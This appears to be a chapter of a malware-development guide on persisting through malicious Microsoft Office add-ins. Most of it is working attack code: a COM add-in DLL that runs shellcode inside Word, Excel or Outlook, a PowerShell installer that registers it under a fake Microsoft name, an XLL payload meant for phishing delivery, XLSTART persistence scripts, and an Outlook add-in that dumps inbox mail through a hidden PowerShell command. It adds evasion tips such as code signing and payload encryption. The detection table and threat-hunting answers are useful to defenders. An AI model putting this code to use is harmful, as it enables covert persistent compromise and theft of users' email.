Malicious Office Add-ins as Persistent Delivery
Microsoft Office supports a rich extension ecosystem: COM add-ins (DLLs loaded into Office processes), VSTO add-ins (managed .NET extensions with deployment manifests), and web add-ins (JavaScript running in task panes). All three auto-load with Office applications and persist across reboots with only registry entries or user-level file installation. A malicious COM add-in registered under HKCU loads its DLL into winword.exe, excel.exe, or outlook.exe every time the user opens Office — granting persistent code execution in a trusted process. This chapter builds a complete Office COM add-in DLL from the COM interface level up, covers the registration mechanism, weaponizes an XLL file, and maps detection across the stack.
Office Extension Types — Attack Surface Overview
Extension type │ Format │ Language │ Admin req? │ Persistence
──────────────────┼───────────┼────────────┼────────────┼──────────────────────────
COM Add-in │ DLL │ C/C++, C# │ No (HKCU) │ Registry → loads at Office start
VSTO Add-in │ DLL+.vsto │ C#/VB.NET │ No (HKCU) │ Registry + click-once manifest
XLL (Excel) │ .xll DLL │ C/C++ │ No │ XLSTART folder or registry
Web Add-in (OWA) │ XML + JS │ JavaScript │ No │ Local catalog XML or admin deploy
XLAM (Excel) │ .xlam │ VBA │ No │ Excel Trust Center / registry
For malware development: COM add-in and XLL are the most powerful.
Both load native DLLs directly into Office processes.
No UAC prompt, no admin rights, no macro security warnings (with COM/XLL).
COM add-in loading sequence (when user opens Word):
──────────────────────────────────────────────────────────────────────
winword.exe starts
↓
Reads HKCU\Software\Microsoft\Office\Word\Addins\ (and HKLM)
↓
For each sub-key with LoadBehavior=3:
↓
Calls CoCreateInstance(CLSID from the key's sub-key ProgID)
↓
Windows looks up the CLSID in HKCU\Software\Classes\CLSID\{...}
↓
Finds InprocServer32 = C:\Users\victim\AppData\Roaming\...\evil.dll
↓
Loads evil.dll into the winword.exe process (DLL is now executing)
↓
Office calls IDTExtensibility2::OnConnection() ← your code runs here
↓
Your payload starts (in winword.exe's address space, running as the user)COM Add-in Interface — IDTExtensibility2
Every Office COM add-in must implement the IDTExtensibility2 COM interface. This is a Microsoft-defined interface (IID: {B65AD801-ABAF-11D0-BB8B-0060081692B3}) derived from IDispatch. The five methods map to Office's lifecycle events. For a malicious add-in, OnConnection is your entry point — it fires as soon as the add-in is loaded during startup.
/* ============================================================
evil_addin.c — Minimal but fully functional Office COM add-in
Implements IDTExtensibility2 with a shellcode-injecting payload.
This DLL is loaded into winword.exe / excel.exe / outlook.exe
depending on which Office\Addins registry key it's registered under.
Build:
x86_64-w64-mingw32-gcc -shared -o evil_addin.dll evil_addin.c \
-lole32 -loleaut32 -luuid \
-Wl,--enable-stdcall-fixup \
-Wl,--strip-debug \
-O2
============================================================ */
#define COBJMACROS
#include <windows.h>
#include <ole2.h>
#include <objbase.h>
#include <objidl.h>
/* ── Interface definitions ──────────────────────────────────────────── */
/* IDispatch GUID — {00020400-0000-0000-C000-000000000046} */
static const GUID IID_IDispatch =
{0x00020400,0,0,{0xC0,0,0,0,0,0,0,0x46}};
/* IDTExtensibility2 GUID — {B65AD801-ABAF-11D0-BB8B-0060081692B3} */
static const GUID IID_IDTExt =
{0xB65AD801,0xABAF,0x11D0,{0xBB,0x8B,0x00,0x60,0x08,0x16,0x92,0xB3}};
typedef struct _AddIn AddIn;
typedef struct {
/* IUnknown */
HRESULT (WINAPI *QueryInterface)(AddIn*, REFIID, void**);
ULONG (WINAPI *AddRef)(AddIn*);
ULONG (WINAPI *Release)(AddIn*);
/* IDispatch */
HRESULT (WINAPI *GetTypeInfoCount)(AddIn*, UINT*);
HRESULT (WINAPI *GetTypeInfo)(AddIn*, UINT, LCID, void**);
HRESULT (WINAPI *GetIDsOfNames)(AddIn*, REFIID, LPOLESTR*, UINT, LCID, DISPID*);
HRESULT (WINAPI *Invoke)(AddIn*, DISPID, REFIID, LCID, WORD,
DISPPARAMS*, VARIANT*, EXCEPINFO*, UINT*);
/* IDTExtensibility2 */
HRESULT (WINAPI *OnConnection)(AddIn*, IDispatch*, long, VARIANT*);
HRESULT (WINAPI *OnDisconnection)(AddIn*, long, VARIANT*);
HRESULT (WINAPI *OnAddInsUpdate)(AddIn*, VARIANT*);
HRESULT (WINAPI *OnStartupComplete)(AddIn*, VARIANT*);
HRESULT (WINAPI *OnBeginShutdown)(AddIn*, VARIANT*);
} AddInVtbl;
struct _AddIn {
AddInVtbl *vtbl;
volatile LONG refCount;
};
/* ── Payload — runs in Office process address space ─────────────────── */
static DWORD WINAPI payload_thread(LPVOID _unused) {
(void)_unused;
/*
* Replace the array below with msfvenom / donut / sRDI shellcode.
* Example: msfvenom -p windows/x64/exec CMD=calc.exe -f c
*
* Using VirtualAlloc + memcpy + CreateThread is the simplest injection.
* From inside an Office process you can also:
* - Use NtCreateThreadEx directly (avoids CreateRemoteThread hooks)
* - Use APC injection into a thread of this same process
* - Reflectively load a DLL from a downloaded buffer
* - Use Donut-generated shellcode that loads a .NET assembly
*/
unsigned char sc[] = {
/* calc.exe shellcode placeholder — 64-bit, null-free */
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60,
0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
/* ... full shellcode here ... */
0x90, 0xC3 /* nop; ret — safe placeholder */
};
LPVOID mem = VirtualAlloc(NULL, sizeof(sc),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return 1;
memcpy(mem, sc, sizeof(sc));
/* Flush instruction cache — required on some CPUs before executing
freshly written executable memory */
FlushInstructionCache(GetCurrentProcess(), mem, sizeof(sc));
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
return 0;
}
/* ── IUnknown implementation ────────────────────────────────────────── */
static HRESULT WINAPI AddIn_QI(AddIn *self, REFIID riid, void **ppv) {
if (IsEqualIID(riid, &IID_IUnknown) ||
IsEqualIID(riid, &IID_IDispatch) ||
IsEqualIID(riid, &IID_IDTExt)) {
*ppv = self;
self->vtbl->AddRef(self);
return S_OK;
}
*ppv = NULL;
return E_NOINTERFACE;
}
static ULONG WINAPI AddIn_AddRef(AddIn *self) {
return (ULONG)InterlockedIncrement(&self->refCount);
}
static ULONG WINAPI AddIn_Release(AddIn *self) {
LONG n = InterlockedDecrement(&self->refCount);
if (n == 0) HeapFree(GetProcessHeap(), 0, self);
return (ULONG)n;
}
/* ── IDispatch stubs (required by IDTExtensibility2 inheritance) ────── */
static HRESULT WINAPI AddIn_GetTypeInfoCount(AddIn *s, UINT *n)
{ *n = 0; return S_OK; }
static HRESULT WINAPI AddIn_GetTypeInfo(AddIn *s, UINT i, LCID l, void **p)
{ return E_NOTIMPL; }
static HRESULT WINAPI AddIn_GetIDsOfNames(AddIn *s, REFIID r,
LPOLESTR *n, UINT c, LCID l, DISPID *d) { return E_NOTIMPL; }
static HRESULT WINAPI AddIn_Invoke(AddIn *s, DISPID d, REFIID r, LCID l,
WORD w, DISPPARAMS *p, VARIANT *v, EXCEPINFO *e, UINT *u)
{ return E_NOTIMPL; }
/* ── IDTExtensibility2 implementation ───────────────────────────────── */
/*
* OnConnection is called when Office loads the add-in.
* Mode parameter values:
* ext_cm_AfterStartup = 0 (loaded after Office started)
* ext_cm_Startup = 1 (loaded during Office startup) ← our case
* ext_cm_External = 2 (loaded via Automation)
* ext_cm_CommandLine = 3 (loaded from command line)
*/
static HRESULT WINAPI AddIn_OnConnection(AddIn *self, IDispatch *app,
long mode, VARIANT *custom) {
/* Launch payload on a new thread — don't block Office's startup */
HANDLE hThread = CreateThread(NULL, 0, payload_thread, NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
return S_OK;
}
static HRESULT WINAPI AddIn_OnDisconnection(AddIn *s, long m, VARIANT *c)
{ return S_OK; }
static HRESULT WINAPI AddIn_OnAddInsUpdate(AddIn *s, VARIANT *c)
{ return S_OK; }
static HRESULT WINAPI AddIn_OnStartupComplete(AddIn *s, VARIANT *c)
{ return S_OK; }
static HRESULT WINAPI AddIn_OnBeginShutdown(AddIn *s, VARIANT *c)
{ return S_OK; }
/* ── Vtable ─────────────────────────────────────────────────────────── */
static AddInVtbl g_vtbl = {
AddIn_QI, AddIn_AddRef, AddIn_Release,
AddIn_GetTypeInfoCount, AddIn_GetTypeInfo,
AddIn_GetIDsOfNames, AddIn_Invoke,
AddIn_OnConnection, AddIn_OnDisconnection,
AddIn_OnAddInsUpdate, AddIn_OnStartupComplete,
AddIn_OnBeginShutdown
};
/* ── Class factory — creates an instance of our add-in ─────────────── */
/*
* DllGetClassObject is what COM calls first.
* Office calls: CoCreateInstance(CLSID_OurAddin, NULL, CLSCTX_INPROC, IID_IDTExt, &pAddin)
* COM calls: DllGetClassObject → returns IClassFactory
* IClassFactory::CreateInstance → allocates AddIn → returns to Office
* Office casts to IDTExtensibility2, calls OnConnection
*/
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID *ppv) {
AddIn *obj = (AddIn*)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, sizeof(AddIn));
if (!obj) return E_OUTOFMEMORY;
obj->vtbl = &g_vtbl;
obj->refCount = 1;
*ppv = obj;
return S_OK;
}
STDAPI DllCanUnloadNow(void) {
return S_FALSE; /* S_FALSE = don't unload (we want to stay loaded) */
}
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpReserved) {
return TRUE;
}
Installation and Registration — No Admin Required
# install_addin.ps1 — Registers the malicious COM add-in for Microsoft Office
# Runs with standard user rights (HKCU registration)
# Can be called by any initial access vector: macro, LNK, ISO, HTA, etc.
param(
[string]$DllSource = "evil_addin.dll", # Source DLL path
[string]$OfficeApp = "Word" # Word, Excel, Outlook, PowerPoint
)
# ── Config ────────────────────────────────────────────────────────────
# The ProgID must be globally unique. Generate a real-looking one.
$progId = "Microsoft.Office.Helper.14.0" # looks like a legit Office component
$clsId = "{1A2B3C4D-5E6F-7890-ABCD-EF1234567890}" # generate with [System.Guid]::NewGuid()
$dllName = "document_helper.dll"
# ── Place DLL in a persistent, trusted-looking location ───────────────
# Options ranked by OPSEC (most to least suspicious):
# Good: $env:APPDATA\Microsoft\Office\ (looks like Office temp storage)
# Good: $env:LOCALAPPDATA\Microsoft\CLR_v4.0\ (CLR cache directory)
# Bad: C:\Windows\Temp\ or C:\Users\Public\ (EDR watches these closely)
$installDir = "$env:APPDATA\Microsoft\Office"
if (-not (Test-Path $installDir)) {
New-Item -Path $installDir -ItemType Directory -Force | Out-Null
}
$dllPath = Join-Path $installDir $dllName
Copy-Item -Path $DllSource -Destination $dllPath -Force
Write-Host "[+] DLL installed: $dllPath"
# ── COM Registration ──────────────────────────────────────────────────
# Step 1: Register the CLSID in HKCU\Software\Classes\CLSID\
# This is where Windows looks up COM objects (user-level override
# of the machine-level HKLM\Software\Classes\CLSID)
$clsidBase = "HKCU:\Software\Classes\CLSID\$clsId"
New-Item -Path $clsidBase -Force | Out-Null
Set-ItemProperty -Path $clsidBase -Name "(Default)" -Value "Microsoft Office Helper"
# InprocServer32: the DLL that implements this COM object
$inproc = "$clsidBase\InprocServer32"
New-Item -Path $inproc -Force | Out-Null
Set-ItemProperty -Path $inproc -Name "(Default)" -Value $dllPath
Set-ItemProperty -Path $inproc -Name "ThreadingModel" -Value "Apartment"
# ThreadingModel=Apartment: standard for UI-facing COM objects
# Office loads apartment-threaded add-ins on the main STA thread
# ProgID sub-key (maps ProgID ↔ CLSID)
$clsidProgId = "$clsidBase\ProgID"
New-Item -Path $clsidProgId -Force | Out-Null
Set-ItemProperty -Path $clsidProgId -Name "(Default)" -Value $progId
# Step 2: Register the ProgID → CLSID mapping
$progIdBase = "HKCU:\Software\Classes\$progId"
New-Item -Path $progIdBase -Force | Out-Null
$progIdClsid = "$progIdBase\CLSID"
New-Item -Path $progIdClsid -Force | Out-Null
Set-ItemProperty -Path $progIdClsid -Name "(Default)" -Value $clsId
Write-Host "[+] CLSID registered: $clsId"
# Step 3: Register as an Office add-in (LoadBehavior controls startup load)
$addInKey = "HKCU:\Software\Microsoft\Office\$OfficeApp\Addins\$progId"
New-Item -Path $addInKey -Force | Out-Null
Set-ItemProperty -Path $addInKey -Name "FriendlyName" -Value "Office Helper"
Set-ItemProperty -Path $addInKey -Name "Description" -Value "Microsoft Office utility"
Set-ItemProperty -Path $addInKey -Name "LoadBehavior" -Value 3 -Type DWord
# LoadBehavior values:
# 0 = do not load
# 3 = load at startup (connect) ← persistence trigger
# 9 = load at next startup then change to 8 (demand-load)
Write-Host "[+] Add-in registered for $OfficeApp (LoadBehavior=3)"
Write-Host "[+] Payload will execute next time $OfficeApp opens."
# Optional: Register for multiple Office apps at once
# $apps = @("Word", "Excel", "Outlook", "PowerPoint")
# foreach ($app in $apps) {
# $key = "HKCU:\Software\Microsoft\Office\$app\Addins\$progId"
# New-Item -Path $key -Force | Out-Null
# Set-ItemProperty -Path $key -Name "LoadBehavior" -Value 3 -Type DWord
# Set-ItemProperty -Path $key -Name "FriendlyName" -Value "Office Helper"
# Set-ItemProperty -Path $key -Name "Description" -Value "Microsoft Office utility"
# }
# Verify:
Write-Host "`n[*] Verify installation:"
Get-Item "HKCU:\Software\Microsoft\Office\$OfficeApp\Addins\$progId"
XLL Files — Excel Add-in DLLs
XLL files are Excel-specific DLL add-ins that follow a simpler registration mechanism than COM add-ins. An XLL is a regular DLL renamed to .xll that exports specific Excel SDK functions. When Excel loads an XLL, it calls the exported xlAutoOpen function — the attacker's entry point. XLLs were weaponized extensively in 2021–2022 before Microsoft added trust warnings in late 2022.
/* evil_addin.xll — Minimal Excel XLL add-in
Excel calls xlAutoOpen() when the XLL is loaded.
This is the simplest possible Office DLL payload:
No COM, no vtable, no interface — just a DLL with a named export.
Build:
x86_64-w64-mingw32-gcc -shared -o evil_addin.xll evil_xll.c
(rename output to .xll — it IS a .dll, just with different extension)
Delivery:
Distribute via phishing as "financial_report_Q4.xll"
When victim double-clicks, Excel prompts "Enable this add-in?" (pre-2022)
Or in protected mode: victim must click "Enable Content" button
*/
#include <windows.h>
/* Excel SDK types — minimal definitions without the full SDK */
typedef int XLOPER_TYPE;
typedef struct XLOPER {
union {
double num;
char *str;
int integer;
} val;
XLOPER_TYPE xltype;
} XLOPER;
/* ── Entry point called by Excel when XLL is loaded ─────────────────── */
__declspec(dllexport) int __cdecl xlAutoOpen(void) {
/*
* xlAutoOpen is called:
* - When the user opens the XLL directly (File → Open → .xll)
* - When Excel loads it from XLSTART directory (auto-persistence)
* - When the XLL is listed in Excel's add-in registry keys
*
* From here we can:
* a) Run shellcode directly
* b) Write shellcode to memory and execute
* c) Download a stage-2 payload from an attacker URL
* d) Do anything the user can do (no privilege escalation needed)
*/
/* Simple messagebox to prove execution (replace with real payload) */
MessageBoxA(NULL, "XLL loaded — xlAutoOpen called", "Debug", MB_OK);
/* Real payload: VirtualAlloc → memcpy shellcode → CreateThread */
/* (same pattern as COM add-in OnConnection above) */
return 1; /* 1 = success; 0 = failure (unloads XLL) */
}
/* Optional: called by Excel before unloading the XLL */
__declspec(dllexport) int __cdecl xlAutoClose(void) { return 1; }
/* Optional: called when Excel needs add-in info */
__declspec(dllexport) XLOPER * __cdecl xlAddInManagerInfo(XLOPER *arg) {
static XLOPER result;
result.xltype = 1; /* xltypeStr */
result.val.str = "\x09Financial"; /* Pascal string: length byte + chars */
return &result;
}
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) { return TRUE; }
XLL Persistence via XLSTART
# Persist XLL via the XLSTART directory
# Files in XLSTART are loaded automatically every time Excel starts
# No registry modification needed — pure filesystem persistence
$xlstart = "$env:APPDATA\Microsoft\Excel\XLSTART"
if (-not (Test-Path $xlstart)) {
New-Item -Path $xlstart -ItemType Directory -Force | Out-Null
}
# Copy XLL to XLSTART
Copy-Item "evil_addin.xll" "$xlstart\helpers.xll" -Force
Write-Host "[+] XLL placed in XLSTART: will auto-load with every Excel session"
# Alternative: registry-based XLL persistence
# HKCU\Software\Microsoft\Office\[version]\Excel\Options
# Value: OPEN = /R "helpers.xll"
# (or OPEN1, OPEN2 if multiple add-ins registered)
$versions = @("16.0", "15.0", "14.0")
foreach ($ver in $versions) {
$key = "HKCU:\Software\Microsoft\Office\$ver\Excel\Options"
if (Test-Path $key) {
Set-ItemProperty -Path $key -Name "OPEN" -Value '/R "helpers.xll"'
Write-Host "[+] Registered XLL via registry for Excel $ver"
break
}
}
Outlook COM Add-in — Email Interception
Outlook COM add-ins are especially powerful for espionage because they run inside outlook.exe and have full access to the Outlook Object Model — every email, contact, calendar entry, and attachment. An Outlook add-in can silently forward every email the victim receives to an attacker-controlled mailbox, monitor for specific keywords, or harvest credentials from email bodies.
/* outlook_spy_addin.c — Outlook COM add-in with email interception
This uses the IDispatch automation interface to access Outlook objects.
In production this would be a VSTO add-in (C#) for easier Outlook model access,
but a COM DLL can also do it via IDispatch::Invoke with known dispatch IDs.
Simplified approach shown: use ShellExecute to forward emails via command line
(not ideal but demonstrates the concept without the full Outlook object model).
Real approach: register event handler for Application.NewMailEx event
in OnConnection, then in the handler: read email body and forward.
*/
#define COBJMACROS
#include <windows.h>
#include <ole2.h>
#include <objbase.h>
/* When OnConnection fires in Outlook's process:
- The 'app' IDispatch* parameter IS the Outlook.Application COM object
- We can call methods on it via IDispatch::Invoke
- The Outlook Object Model is accessible without admin or consent
Useful Outlook Object Model entry points via Dispatch:
Application → Session → GetDefaultFolder(olFolderInbox) → Items
Application → ActiveExplorer → Selection
Application → CreateItem(0) → send email programmatically
The NewMailEx event (Application level) fires for EVERY incoming email:
We can sink this event by implementing IDispatch and registering it
with the Application's event connection point.
*/
/* For brevity: payload that exfiltrates existing emails via cmd
In a real implant: implement full event sink for NewMailEx */
static void exfil_emails(void) {
/* Use PowerShell + Outlook COM to dump emails from the running session
Note: Outlook must already be running (it is, we're running inside it) */
const char *cmd =
"powershell -WindowStyle Hidden -Command \""
"$ol = [System.Runtime.InteropServices.Marshal]::GetActiveObject('Outlook.Application');"
"$ns = $ol.GetNamespace('MAPI');"
"$inbox = $ns.GetDefaultFolder(6);"
"$inbox.Items | ForEach-Object { "
" $_ | Select-Object Subject,SenderEmailAddress,Body | "
" ConvertTo-Json | Out-File -Append C:\\Users\\Public\\mail_dump.json"
"}\"";
WinExec(cmd, SW_HIDE);
}
/* The rest of the COM boilerplate is identical to the Word add-in above.
Only the OnConnection payload changes.
Registration: HKCU\Software\Microsoft\Office\Outlook\Addins\ */
Detection Mapping
Detection layer │ Signal │ Fidelity
─────────────────────────┼─────────────────────────────────────────┼─────────────────────────
Sysmon EventID 13 │ RegistrySetValue │ HIGH
(registry) │ TargetObject: *Office*Addins* │
│ LoadBehavior → 3 │
│ │
Sysmon EventID 7 │ ImageLoad: unknown DLL into │ HIGH
(image load) │ WINWORD.EXE / EXCEL.EXE / OUTLOOK.EXE │
│ DLL from %APPDATA%, not signed by MS │
│ │
Sysmon EventID 10 │ EXCEL.EXE → CreateThread (shellcode) │ HIGH
/ EventID 8 │ RWX memory allocation in Office process │
│ │
Process creation │ WINWORD.EXE spawning cmd.exe / │ HIGH
(EventID 4688/1) │ powershell.exe (unusual for Word) │
│ │
File system │ New DLL written to %APPDATA%\Microsoft │ MEDIUM
│ with .dll extension (not signed) │
│ │
EDR memory scan │ VirtualAlloc(RWX) in Office process │ HIGH
│ Shellcode signatures in WINWORD memory │
│ │
Manual audit │ HKCU\...\Office\Word\Addins listing │ Admin task
│ Unexpected ProgID entry │
─────────────────────────┴─────────────────────────────────────────┴─────────────────────────
Defense bypass considerations:
─────────────────────────────────────────────────────────────────────────
• Sign the DLL with a purchased code-signing certificate
→ Sysmon image load alert shows trusted signer → lower suspicion
• Use the DLL for download-at-runtime (not included shellcode)
→ No shellcode bytes in DLL on disk; downloaded only to memory
• Load shellcode from the registry (not from disk)
→ Write shellcode to: HKCU\Software\Microsoft\...\Settings\data
→ OnConnection reads registry value, runs it in memory
• Encrypt the payload DLL
→ XOR encrypt on disk, decrypt in memory before execution
→ Avoids static AV signature matching on the DLL file
XLAM vs XLL:
XLAM (VBA macros) — blocked by macro security policies (Protected View)
XLL (native DLL) — historically not affected by macro security
As of Excel 2022 / M365 March 2022: XLLs from internet now blocked
(Mark of the Web warning + confirmation dialog)
XLLs from the same network share or local disk: still load without warningQuestions & Answers
Can a COM add-in be detected by looking at the add-in list in Office's UI?
Yes — in Word, the add-in list is visible at File → Options → Add-ins. The malicious add-in will appear there with the FriendlyName you configured ("Office Helper" in our example). A suspicious user or IT analyst checking the add-ins list would see it. To reduce visibility, use a FriendlyName that matches a legitimate add-in (e.g., "Adobe Acrobat PDFMaker Office COM Addin" — note the exact spelling used by the real Acrobat add-in). Users rarely check this list. More importantly, the registry key is the authoritative location — removing it from the registry (and the DLL from disk) removes the add-in. The UI is just a view of the registry entries. IT teams doing incident response should check: HKCU\Software\Microsoft\Office\<App>\Addins\ and compare to known-good baselines.
What happens if Office's Protected Mode or Attack Surface Reduction (ASR) is active?
Protected Mode (the yellow bar "Enable Editing") only applies to Office documents opened from the internet (with Zone.Identifier MOTW). COM add-ins are not documents — they're registered at the system level and are not subject to Protected Mode at all. Attack Surface Reduction (ASR) rules are more of a concern. The ASR rule "Block Win32 API calls from Office macros" targets VBA macros specifically, not COM add-ins. The ASR rule "Block Office communication apps from creating child processes" would block Outlook COM add-ins that spawn cmd.exe or powershell.exe — but not those that use VirtualAlloc and CreateThread internally. The most effective ASR rule against add-in shellcode is "Block Office applications from injecting code into other processes" — but it targets process injection, not in-process shellcode execution. In-process shellcode (CreateThread in the same process) is not blocked by any Office ASR rule by design.
How does an Outlook add-in access the victim's emails without triggering Outlook's security dialogs?
Outlook has a "Programmatic Access Security" model: if an external application (running outside outlook.exe) tries to access the Outlook Object Model, Outlook shows a security warning ("A program is trying to access e-mail address information stored in Outlook..."). However, this warning is specifically for external automation — code running in a different process trying to attach to Outlook via COM. A COM add-in runs inside the Outlook process. Code running inside outlook.exe has full access to the Outlook Object Model without any security prompt. This is by design — Office add-ins are trusted extensions of the Office application itself. The add-in receives the Application IDispatch pointer in OnConnection, from which it can navigate to any inbox, calendar, or contact folder and read or send emails without any security dialog appearing.
Is there a way to persist an Office add-in without touching the registry?
Yes — the XLL/XLSTART approach demonstrated above uses only the filesystem. Place an XLL in %APPDATA%\Microsoft\Excel\XLSTART\ and it loads automatically with every Excel session, with no registry modification. For Word, the equivalent is the startup folder: %APPDATA%\Microsoft\Word\STARTUP\ — placing a .dotm (macro-enabled template) here loads it with every Word session. For Outlook, the add-ins path is registry-based but VSTO adds an alternative via deployment manifests in user-writable paths. The filesystem-only approaches (XLSTART, Word STARTUP folder) are harder to detect with registry monitoring tools. They require file system baseline monitoring of these specific directories to detect.
How does a threat hunter identify a malicious Office add-in during incident response?
Start with registry enumeration: Get-ChildItem "HKCU:\Software\Microsoft\Office" -Recurse | Where-Object Name -like "*Addins*" lists all registered add-ins. For each entry, check the InprocServer32 DLL path — does the DLL exist? Is it signed? Is the signer a known vendor? Cross-reference with your software inventory. Next, review the DLL's compile timestamp and digital signature. Use Sysmon data: query for EventID 7 (ImageLoad) with SourceImage matching Word/Excel/Outlook and ImageLoaded outside C:\Program Files\ — unexpected load paths are high signal. Check process creation history: did WINWORD.EXE or EXCEL.EXE spawn unusual child processes? In memory: an EDR memory scan of Office processes can detect shellcode signatures or RWX memory regions that shouldn't exist in a clean Office process. Finally, use autoruns (Sysinternals Autoruns.exe) which highlights all registered Office add-ins and flags unsigned entries in red.